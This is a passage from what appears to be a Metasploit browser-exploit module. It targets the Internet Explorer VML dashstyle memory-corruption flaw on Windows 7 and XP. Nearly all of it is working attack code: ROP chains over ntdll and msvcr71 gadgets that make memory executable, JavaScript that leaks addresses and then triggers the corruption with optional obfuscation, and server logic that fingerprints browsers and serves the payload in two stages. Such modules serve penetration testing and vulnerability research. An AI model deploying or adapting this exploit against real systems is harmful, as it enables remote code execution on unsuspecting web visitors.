'DisclosureDate' => "Mar 06 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) super end ############################### # edi -> ZwProtectVirtualMemory # esi -> return address # ebp -> 0xffffffff # esp -> ptr to BaseAddress # ebx -> ptr to NumberOfBytesToProtect # edx -> 0x00000040 # ecx -> ptr to OldAccessProtection def get_ntdll_rop case @ntdll_version when "6.1.7601.17514" stack_pivot = [ @ntdll_base+0x0001578a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll] ].pack("V*") ntdll_rop = [ @ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi) 0x00010400, # NumberOfBytesToProtect @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax) 0x90909090, 0x90909090, 0x90909090, @ntdll_base+0x0001dd9f, # XCHG EAX,EBX # ADD EAX,DWORD PTR [EAX] # RETN 0x18 (move eax -> ebx) [ebx -> ptr to NumberOfBytesToProtect] @ntdll_base+0x00005922, # RETN 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, @ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi) 0x41414141, # OldAccessProtection @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax) 0x90909090, 0x90909090, 0x90909090, @ntdll_base+0x00060549, # XCHG EAX,ECX # RETN (move eax -> ecx) [ecx -> ptr to OldAccessProtection] @ntdll_base+0x000ce8fe, # PUSH ESP # XOR DL,BYTE PTR [EAX] # POP EBP # RETN 0x04 (move esp -> ebp) @ntdll_base+0x000ab623, # XCHG EAX,EBP # RETN (move ebp -> eax) EEEEESSSSPPPPP 0x90909090, @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN 0x80 / 4 = 0x20(32) @ntdll_base+0x0005dde3, # MOV DWORD PTR [EAX],EAX # POP ESI # POP EBP # RETN 0x04 [BaseAddress] 0x90909090, 0x90909090, @ntdll_base+0x00035508, # ADD EAX,1 # RETN 0x90909090, @ntdll_base+0x00035508, # ADD EAX,1 # RETN @ntdll_base+0x00035508, # ADD EAX,1 # RETN @ntdll_base+0x00035508, # ADD EAX,1 # RETN @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN [esi -> return addrsss] @ntdll_base+0x0009a30c, # pop eax # retn 0xFA3DFA7F, @ntdll_base+0x0003ab39, # add eax,5C205C1 # retn @ntdll_base+0x00036d70, # xchg eax,edx # retn [edx -> 0x00000040] @ntdll_base+0x00047643, # pop edi # retn [edi -> ZwProtectVirtualMemory] @ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory @ntdll_base+0x000cb72a, # pop ebp # retn [ebp -> 0xffffffff] 0xffffffff, # ProcessHandle @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x00005922, # RETN @ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi 0x90909090, ].pack("V*") return stack_pivot + ntdll_rop when "6.1.7601.17725" # 未構造 stack_pivot = [ @ntdll_base+0x0001579a, # ret # from ntdll @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll ].pack("V*") ntdll_rop = [ @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory 0x0c0c0c40, # ret to shellcode 0xffffffff, # ProcessHandle 0x0c0c0c34, # ptr to BaseAddress 0x0c0c0c38, # ptr to NumberOfBytesToProtect 0x00000040, # NewAccessProtection 0x0c0c0c3c, # ptr to OldAccessProtection 0x0c0c0c40, # BaseAddress 0x00000400, # NumberOfBytesToProtect 0x41414141 # OldAccessProtection ].pack("V*") return stack_pivot + ntdll_rop else return "" end end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :jre print_status("Using JRE ROP") stack_pivot = [ 0x7c348b06, # ret # from msvcr71 0x7c341748, # pop ebx # ret # from msvcr71 0x7c348b05 # xchg eax, esp # ret from msvcr71 ].pack("V*") rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) when :ntdll print_status("Using ntdll ROP") rop_payload = get_ntdll_rop + code end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_ntdllBase = @ntdll_base js_trigger = %Q| var rect_array = new Array(); var a = new Array(); var ntdllBase = #{js_ntdllBase}; function createRects(){ for(var i=0; i<0x1000; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ // leak the address of shellcode var vml2 = document.getElementById("vml2") var i = 0 for (i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml2.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml2.dashstyle.array.length; vml2.dashstyle.array.length = 0 - 1; var marginLeftAddress; for (i=0; i<0x400; i++) { a[i].marginLeft = unescape("#{js_code}"); marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml2.dashstyle.array.length = length_orig; break; } } // trigger var j = 0x400 var vml1 = document.getElementById("vml1") for (j=0x400; j<0x800; j++){ a[j] = document.getElementById("rect" + j.toString())._anchorRect; if (j == 0x700) { vml1.dashstyle = "1 2 3 4" } } //length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = marginLeftAddress; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2) vml1.dashstyle.array.item(8) = marginLeftAddress; // ebx vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN vml1.dashstyle.array.length = length_orig ; //for (j=0x400; j<0x800; j++) { delete a[0x701]; CollectGarbage(); } location.reload(); } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <div id="blah"></div> <v:oval> <v:stroke id="vml1"/> </v:oval> <v:oval> <v:stroke id="vml2"/> </v:oval> </body> </html> | return html end def html_info_leak js_trigger = %Q| var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){ a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length; vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++) { a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ) return; } } } | create_rects_func = "createRects" exploit_func = "exploit" if datastore['OBFUSCATE'] js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger) js_trigger.obfuscate create_rects_func = js_trigger.sym("createRects") exploit_func = js_trigger.sym("exploit") end html = %Q| <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> </title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> #{js_trigger} </script> <body onload="#{create_rects_func}(); #{exploit_func}();"> <v:oval> <v:stroke id="vml1"/> </v:oval> </body> </html> | return html end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/ html = html_info_leak html = html.gsub(/^\t\t/, '') print_status("Sending HTML to info leak...") send_response(cli, html, {'Content-Type'=>'text/html'}) else leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue end # Use JRE1.6 to exploit it. if leak == 0 html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger(Use JRE1.6)...") send_response(cli, html, {'Content-Type'=>'text/html'}) return end # Use Ntdll to exploit it. print_status("ntdll leak: 0x#{leak.to_s(16)}") fingerprint = leak & 0x0000ffff case fingerprint when 0x70B0 @ntdll_version = "6.1.7601.17514" @ntdll_base = leak - 0x470B0 when 0x7090 @ntdll_version = "6.1.7601.17725" # MS12-001 @ntdll_base = leak - 0x47090 else print_error("ntdll version not detected, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML to trigger(Use Ntdll)...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end end